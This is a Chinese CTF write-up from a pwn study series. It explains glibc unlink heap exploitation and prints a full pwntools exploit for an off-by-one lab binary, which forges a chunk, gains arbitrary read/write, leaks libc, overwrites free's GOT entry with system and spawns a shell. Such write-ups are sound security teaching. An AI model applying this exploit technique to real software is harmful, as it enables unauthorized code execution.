Pwn学习总结(20):Heap-Unlink/offbyone_unlink

实验平台:

x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/Unlink/offbyone_unlink

ELF保护措施:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

amd64体系结构,GOT表可写,PIE未开启。

IDA反编译后的C代码如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    putchar('>');
    __isoc99_scanf("%d", &v3);
    if ( v3 == 1 )
      new_data();
    if ( v3 == 2 )
      delete_data();
    if ( v3 == 3 )
      show();
    if ( v3 == 4 )
      edit();
  }
}
void init()
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
}
unsigned __int64 new_data()
{
  int size; // [rsp+0h] [rbp-10h] BYREF
  int note_pos; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("size ?");
  size = 0;
  __isoc99_scanf("%d", &size);
  if ( size < 0 || size > 272 || note_num > 11 )
    exit(0);
  for ( note_pos = 0; note_pos <= 11 && data[note_pos]; ++note_pos )
    ;
  data[note_pos] = (char *)malloc(size);
  printf("data:");
  read(0, data[note_pos], (unsigned int)size);
  data_size[note_pos] = size;
  ++note_num;
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete_data()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index?");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > note_num )
    exit(0);
  free(data[v1]);
  data[v1] = 0LL;
  --note_num;
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index?");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > note_num )
    exit(0);
  if ( data[v1] )
    puts(data[v1]);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
  int index; // [rsp+0h] [rbp-10h] BYREF
  int readcnt; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index?");
  __isoc99_scanf("%d", &index);
  if ( index < 0 || index > note_num )
    exit(0);
  if ( data[index] )
  {
    printf("data?");
    readcnt = read(0, data[index], (unsigned int)(data_size[index] + 1)); //vulnerable
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞点在代码的第92行,可以超出堆块的大小,多写入一个字节。这种类型的题目,我们称其为offbyone,顾名思义,就是多写了一个字节。不要小看这一个字节,这一个字节的威力确实不小。

为了做这道题目,我们首先来讲解ptmalloc中unlink的相关知识[1]。

Unlink

Unlink Introduction

Unlink操作,是将free chunk list中的任一个chunk从双向链表中脱离的操作。

它的用途之一是,对虚拟地址相连的内存块进行合并。假如两个free chunk不在fastbin中,而又恰好相邻,我们可以将它俩合并起来,以获取一个更大的chunk。进行完毕unlink操作之后,我们再更改chunk的元数据就可以达到合并的效果。

Unlink的操作图示如下:

Unlink的源码[2]如下:

/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p))) //Check 1
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // Check 2
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p // Check 3
          || p->bk_nextsize->fd_nextsize != p)
        malloc_printerr ("corrupted double-linked list (not small)");
      if (fd->fd_nextsize == NULL)
        {
          if (p->fd_nextsize == p)
            fd->fd_nextsize = fd->bk_nextsize = fd;
          else
            {
              fd->fd_nextsize = p->fd_nextsize;
              fd->bk_nextsize = p->bk_nextsize;
              p->fd_nextsize->bk_nextsize = fd;
              p->bk_nextsize->fd_nextsize = fd;
            }
        }
      else
        {
          p->fd_nextsize->bk_nextsize = p->bk_nextsize;
          p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

源码中对堆块的完整性校验有3处,其中一般做pwn题时需要bypass的check是前两处,分别为:

  1. chunksize (p) != prev_size (next_chunk (p))
  2. __builtin_expect (fd->bk != p || bk->fd != p, 0),即fd->bk == p && bk->fd != p

第1处要求我们伪造好堆块的大小。第2处要求指针的正确性校验通过。

因为glibc的unlink中对堆块的完整性校验很强,所以我们只能使用伪造的方式进行Unlink的利用,具体的利用方式如下。

Unlink Exp

前提条件

  1. 可以修改Free状态下SmallBin或UnsortedBin中chunk的fdbk指针。(free chunk可以通过UAF或伪造得到)
  2. Free Chunk的前或后必须有Chunk可以进行释放,使得unlink能够执行。
  3. 已知位置存在一个指针ptr指向free chunk的头部。

效果

使得指针ptr变为ptr - 0x18

利用思路

设指向Free Chunk的指针地址为ptr,那么,

  1. ptr->fd = (char*)ptr - 0x18
  2. ptr->bk = (char*)ptr - 0x10
  3. 伪造好sizeprev_size的一致性
  4. 触发Unlink

可以使得指针ptr的内容变为ptr - 0x18

具体原理

unlink过程可以化简为如下代码:

if (chunksize (p) != prev_size (next_chunk (p))) //Check 1
    malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // Check 2
    malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;

其中p为free chunk的内存地址。

模拟执行过程,可以有:

fd = p->fd = (char*)ptr - 0x18;
bk = p->bk = (char*)ptr - 0x10;
Check that fd->bk == p && bk->fd != p:
    fd->bk = *((char*)fd + 0x18) = *((char*)ptr - 0x18 + 0x18) = *ptr = p
    bk->fd = *((char*)bk + 0x10) = *((char*)ptr - 0x10 + 0x10) = *ptr = p
Check Passed.
fd->bk = bk: *ptr = (char*)ptr - 0x10;
bk->fd = fd: *ptr = (char*)ptr - 0x18;

因此,指针ptr的内容变为了ptr - 0x18

题目Exp

本题的主要解题思路为:利用堆的Unlink首先获得任意地址读写,接下来泄露printf的libc地址,最后向free的GOT表地址中写入system。下面结合Exp进行解释:

#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice):
    p.recvuntil('>')
    p.sendline(str(choice))

def new_data(size, data):
    send_choice(1)
    p.recvuntil('size ?')
    p.sendline(str(size))
    p.recvuntil('data:')
    p.send(data)

def delete_data(index):
    send_choice(2)
    p.recvuntil('index?')
    p.sendline(str(index))

def show_data(index):
    send_choice(3)
    p.recvuntil('index?')
    p.sendline(str(index))

def edit_data(index, data):
    send_choice(4)
    p.recvuntil('index?')
    p.sendline(str(index))
    p.recvuntil('data?')
    p.send(data)

p = process('./offbyone_unlink')
elf = ELF('./offbyone_unlink')
gdb.attach(p, '')

"""
Heap Layout:
|--------------------
|(nested a fake)chunk used to do off-by-one
|--------------------
|unsorted bin chunk(to unlink)
|--------------------
|isolating chunk(from top)
|--------------------
|top chunk(lefted)
|--------------------
SmallBin: 0x80 < size < 0x400
"""

data_bss = 0x602120     # Directly point to a chunk(i: 0) which will be forged to free later
new_data(0x108, 'a')    # chunk(i: 0): 0x100 user data block + 0x8 nextchunk.prev_size(used for data)
new_data(0xf0, 'a')
new_data(0x100, '/bin/sh\x00')

# Step 1: Do heap unlink to get arbitrary memory R/W
payload = ''            # A Nested Fake Chunk(fake_chunk) to trigger heap unlink
payload += p64(0)       # fake_chunk->prev_size
payload += p64(0x100 | 0x001)   # fake_chunk->size | PREV_INUSE
payload += p64(data_bss - 0x18) # fake_chunk->fd
payload += p64(data_bss - 0x10) # fake_chunk->bk
payload = payload.ljust(0x100, 'a') # Padding fake_chunk to user data block size(0x100)
payload += p64(0x100)   # next_chunk(i:1)->prev_size
payload += p8(0)        # (off-by-one byte) next_chunk->PREV_INUSE = false (forged free)
edit_data(0, payload)
delete_data(1)

# Step 2: Leak `printf` libc address
printf_got = elf.got['printf']
payload = '0' * 0x18 + p64(data_bss) + p64(printf_got)
edit_data(0, payload)
show_data(1)
printf_libc = u64(p.recv(6) + '\x00\x00')
libc = LibcSearcher('printf', printf_libc)
libc_base = printf_libc - libc.dump('printf')
system_libc = libc_base + libc.dump('system')

# Step 3: Write `free` GOT with `system` and get shell
free_got = elf.got['free']
payload = p64(data_bss) + p64(free_got)
edit_data(0, payload)
edit_data(1, p64(system_libc))
delete_data(2)

p.interactive()

代码中,第42~51行的注释呈现了本题目中进行unlink的堆布局。我们可以结合下面的Exp进行理解。

第58行,申请了一个isolating chunk,避免Unlink之后,所有chunk都与top chunk合并了,除此之外,还用做存放system的参数。

第61~69行,我们在申请的第一个chunk中,嵌套了一个自行伪造的chunk,供unlink进行操作。其中有下列地方需要特意注明:

  • 第63行的伪造,需要在size的基础上OR 0x1,设置PREV_INUSE标志位,避免ptmalloc尝试去合并前面的压根没chunk的地址
  • 第67行的prev_size需要确保与第63行的相同
  • 第68行,offbyone的一个字节,对ptmalloc进行欺骗,使得ptmalloc误以为前面的chunk是free的,从而按照我们伪造的chunk进行unlink操作

第70行,free chunk[1],从而引发chunk[0]中伪造chunk的unlink操作。

此后data[0]的内容被设为(char*)&data - 0x18。又因为我们可以任意读写data[]中的内容,到目前为止我们获得了任意地址读写的权限。接下来的操作就很常规了。

第73~80行,泄露libc的地址。

第83~86行,向free的GOT表中写入system的地址。

第87行,利用free块的形式,直接调用system("/bin/sh")

参考资料:
[1] https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
[2] https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1460

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注